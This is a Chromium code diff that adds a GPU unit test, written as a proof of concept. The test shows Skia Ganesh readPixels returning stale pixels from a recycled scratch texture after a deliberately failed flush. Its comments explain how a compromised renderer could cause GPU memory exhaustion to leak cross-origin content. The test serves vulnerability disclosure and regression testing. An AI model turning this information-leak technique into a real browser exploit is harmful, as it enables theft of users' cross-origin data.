diff --git a/gpu/BUILD.gn b/gpu/BUILD.gn index 225e91875e477..7279e385b774b 100644 --- a/gpu/BUILD.gn +++ b/gpu/BUILD.gn @@ -228,6 +228,7 @@ test("gl_tests") { "command_buffer/service/shared_image/wrapped_sk_image_backing_factory_unittest.cc", "command_buffer/tests/compressed_texture_test.cc", "command_buffer/tests/es3_misc_functions_unittest.cc", + "command_buffer/tests/ganesh_readpixels_stale_scratch_unittest.cc", "command_buffer/tests/gl_angle_shader_pixel_local_storage_unittest.cc", "command_buffer/tests/gl_bgra_mipmap_unittest.cc", "command_buffer/tests/gl_bind_uniform_location_unittest.cc", diff --git a/gpu/command_buffer/tests/ganesh_readpixels_stale_scratch_unittest.cc b/gpu/command_buffer/tests/ganesh_readpixels_stale_scratch_unittest.cc new file mode 100644 index 0000000000000..cee419529297a --- /dev/null +++ b/gpu/command_buffer/tests/ganesh_readpixels_stale_scratch_unittest.cc @@ -0,0 +1,206 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC: Ganesh SurfaceContext::readPixels() canvas2DFastPath/kCopyToTexture2D +// uses an internally-created kApprox scratch render target whose contents are +// recycled from GrResourceCache. The flushSurface() return value is ignored +// before GrGpu::readPixels(), and GrDrawingManager::flush() silently drops all +// queued render tasks (including the fillRectToRectWithFP that was supposed to +// overwrite the scratch contents) whenever any GrOnFlushCallbackObject::preFlush +// returns false (e.g. AtlasPathRenderer atlas allocation failure under GPU +// memory pressure) or GrResourceAllocator::assign() fails. The recycled +// texture's prior-occupant pixels are then copied into the caller's buffer with +// a success return. +// +// This test models the production trigger (preFlush failure under GPU OOM) by +// registering a GrOnFlushCallbackObject that returns false, then demonstrates +// that readPixels() returns stale scratch-cache pixels instead of the source +// surface's pixels. + +#include +#include +#include + +#include "base/logging.h" +#include "gpu/command_buffer/service/shared_image/shared_image_test_base.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/include/core/SkAlphaType.h" +#include "third_party/skia/include/core/SkCanvas.h" +#include "third_party/skia/include/core/SkColor.h" +#include "third_party/skia/include/core/SkColorSpace.h" +#include "third_party/skia/include/core/SkColorType.h" +#include "third_party/skia/include/core/SkImageInfo.h" +#include "third_party/skia/include/core/SkSurface.h" +#include "third_party/skia/include/gpu/GpuTypes.h" +#include "third_party/skia/include/gpu/ganesh/GrDirectContext.h" +#include "third_party/skia/include/gpu/ganesh/SkSurfaceGanesh.h" + +// Skia-private headers (resolved via //third_party/skia include dir; symbols +// available because Skia is statically linked into this test binary). +#include "src/gpu/ganesh/GrDirectContextPriv.h" // nogncheck +#include "src/gpu/ganesh/GrOnFlushResourceProvider.h" // nogncheck +#include "src/gpu/ganesh/GrRecordingContextPriv.h" // nogncheck + +namespace gpu { +namespace { + +// Mimics AtlasPathRenderer::preFlush() returning false on atlas-allocation +// failure (third_party/skia/src/gpu/ganesh/ops/AtlasPathRenderer.cpp:447) or +// GrResourceAllocator::assign() failing for a co-pending lazy proxy under GPU +// memory pressure. In production a compromised renderer would induce this via +// GPU OOM; here we model it directly. +class FailingOnFlushCallback final : public GrOnFlushCallbackObject { + public: + bool preFlush(GrOnFlushResourceProvider*) override { + ++fire_count_; + return !armed_; + } + bool retainOnFreeGpuResources() override { return true; } + + void Arm() { armed_ = true; } + void Disarm() { armed_ = false; } + int fire_count() const { return fire_count_; } + + private: + bool armed_ = false; + int fire_count_ = 0; +}; + +// "Victim" pixel value that a prior occupant of the scratch texture left +// behind. In a real attack this would be cross-origin rendered content. +constexpr uint32_t kVictimRGBA = 0xFF112233u; // R=0x33 G=0x22 B=0x11 A=0xFF +constexpr SkColor kVictimColor = SkColorSetARGB(0xFF, 0x33, 0x22, 0x11); + +// Fresh source pixel value — what readPixels() *should* return. +constexpr uint32_t kSourceRGBA = 0xFF008800u; // R=0x00 G=0x88 B=0x00 A=0xFF +constexpr SkColor kSourceColor = SkColorSetARGB(0xFF, 0x00, 0x88, 0x00); + +// 100x100 → GetApproxSize() → 128x128. Distinct from the 256x256 surfaces that +// validPMUPMConversionExists() creates internally, so its scratch textures +// don't collide with ours. +constexpr int kSize = 100; + +class GaneshReadPixelsStaleScratchTest : public SharedImageTestBase { + public: + void SetUp() override { + ASSERT_NO_FATAL_FAILURE(InitializeContext(GrContextType::kGL)); + ASSERT_TRUE(gr_context()) << "No Ganesh GrDirectContext"; + } +}; + +TEST_F(GaneshReadPixelsStaleScratchTest, StaleScratchReturnedOnPreFlushFailure) { + GrDirectContext* dctx = gr_context(); + + // canvas2DFastPath requires src=premul RGBA8, dst=unpremul RGBA8, no color + // space conversion (SurfaceContext.cpp:155-162). + SkImageInfo src_info = SkImageInfo::Make( + kSize, kSize, kRGBA_8888_SkColorType, kPremul_SkAlphaType, nullptr); + SkImageInfo dst_info = SkImageInfo::Make( + kSize, kSize, kRGBA_8888_SkColorType, kUnpremul_SkAlphaType, nullptr); + + sk_sp src = SkSurfaces::RenderTarget( + dctx, skgpu::Budgeted::kYes, src_info, /*sampleCount=*/0, + kTopLeft_GrSurfaceOrigin, /*surfaceProps=*/nullptr); + ASSERT_TRUE(src); + + // canvas2DFastPath also requires validPMUPMConversionExists()==true. This + // test runs once and is cached (GrDirectContextPriv.cpp:341-349). Prime it + // now so its internal flush doesn't interfere with the failing callback + // later, and so we can skip if the GPU doesn't support it. + if (!dctx->priv().validPMUPMConversionExists()) { + GTEST_SKIP() << "validPMUPMConversionExists()==false; canvas2DFastPath " + "branch not reachable on this GPU"; + } + + std::vector pixels(static_cast(kSize) * kSize, 0u); + const size_t row_bytes = static_cast(kSize) * sizeof(uint32_t); + + // --------------------------------------------------------------------------- + // Phase 1: Prime the GrResourceCache scratch pool. + // + // Clear the source to the "victim" color and readPixels() with an unpremul + // destination. This takes the canvas2DFastPath branch (SurfaceContext.cpp: + // 174-256), which creates a kApprox temp SFC, queues fillRectToRectWithFP, + // and recursively calls readPixels(). The flush succeeds (no failing + // callback yet), so the temp texture is filled with kVictimColor and read + // back. When the temp SFC is destroyed the texture returns to the scratch + // cache *still containing victim pixels*. + // --------------------------------------------------------------------------- + src->getCanvas()->clear(kVictimColor); + dctx->flushAndSubmit(src.get()); + ASSERT_TRUE(src->readPixels(dst_info, pixels.data(), row_bytes, 0, 0)); + ASSERT_EQ(pixels[0], kVictimRGBA) + << "Phase 1 readback didn't take canvas2DFastPath as expected"; + + // --------------------------------------------------------------------------- + // Phase 2: Overwrite the source with fresh pixels and flush *successfully* + // so the source texture genuinely contains kSourceColor on the GPU. + // --------------------------------------------------------------------------- + src->getCanvas()->clear(kSourceColor); + dctx->flushAndSubmit(src.get()); + + // --------------------------------------------------------------------------- + // Phase 3: Register a GrOnFlushCallbackObject whose preFlush() returns + // false. This models AtlasPathRenderer::preFlush() failing on atlas + // allocation under attacker-induced GPU memory pressure, which causes + // GrDrawingManager::flush() to skip executeRenderTasks() and silently + // discard all queued render tasks (GrDrawingManager.cpp:172-211). + // --------------------------------------------------------------------------- + // The callback object must outlive the GrDirectContext (which is destroyed + // in SharedImageTestBase::~SharedImageTestBase after this test body), so + // give it static storage duration. + static FailingOnFlushCallback failing_cb; + dctx->priv().addOnFlushCallbackObject(&failing_cb); + failing_cb.Arm(); + + // --------------------------------------------------------------------------- + // Phase 4: Trigger the vulnerable readPixels(). + // + // SurfaceContext::readPixels() takes canvas2DFastPath again: + // - makeSFC(kApprox) creates a fresh temp proxy (SurfaceContext.cpp:194) + // - fillRectToRectWithFP queues an OpsTask to copy src→temp (L216) + // - recursive readPixels(temp) (L256): + // - temp proxy instantiated at L133 → GrResourceProvider:: + // createApproxTexture() → findAndRefScratchTexture() recycles the + // Phase-1 scratch texture (still containing kVictimColor) + // - flushSurface() at L294 → GrDrawingManager::flush(): preFlush + // returns false → executeRenderTasks() skipped → removeRenderTasks() + // discards the fillRectToRectWithFP. Return value IGNORED. + // - GrGpu::readPixels(srcSurface=recycled texture) at L296 copies the + // STALE victim pixels into our buffer and returns true. + // --------------------------------------------------------------------------- + std::fill(pixels.begin(), pixels.end(), 0u); + bool ok = src->readPixels(dst_info, pixels.data(), row_bytes, 0, 0); + + LOG(ERROR) << "==========================================================="; + LOG(ERROR) << "readPixels() returned: " << (ok ? "true" : "false"); + LOG(ERROR) << "preFlush() fired " << failing_cb.fire_count() + << " time(s) total"; + LOG(ERROR) << "Expected (source) pixel: 0x" << std::hex << kSourceRGBA; + LOG(ERROR) << "Stale (victim) pixel: 0x" << std::hex << kVictimRGBA; + LOG(ERROR) << "Actual readback pixel[0,0]: 0x" << std::hex << pixels[0]; + LOG(ERROR) << "Actual readback pixel[50,50]: 0x" << std::hex + << pixels[50 * kSize + 50]; + LOG(ERROR) << "==========================================================="; + + // In production this would be the renderer's SHM buffer with *result=1. + EXPECT_TRUE(ok) << "readPixels() should report success despite dropped flush"; + + // The bug: stale scratch-cache pixels are returned instead of source pixels. + // If this assertion HOLDS, the vulnerability is demonstrated. + EXPECT_EQ(pixels[0], kVictimRGBA) + << "BUG DEMONSTRATED if equal: readPixels() returned the prior " + "occupant's pixels from the recycled kApprox scratch texture."; + EXPECT_NE(pixels[0], kSourceRGBA) + << "If this fails (pixels==source), the fillRectToRectWithFP somehow " + "executed despite preFlush() returning false."; + + // Disarm so SharedImageTestBase teardown flushes work normally. + // (Can't remove the callback without GPU_TEST_UTILS; leaving it disarmed is + // sufficient since preFlush() will then return true.) + failing_cb.Disarm(); +} + +} // namespace +} // namespace gpu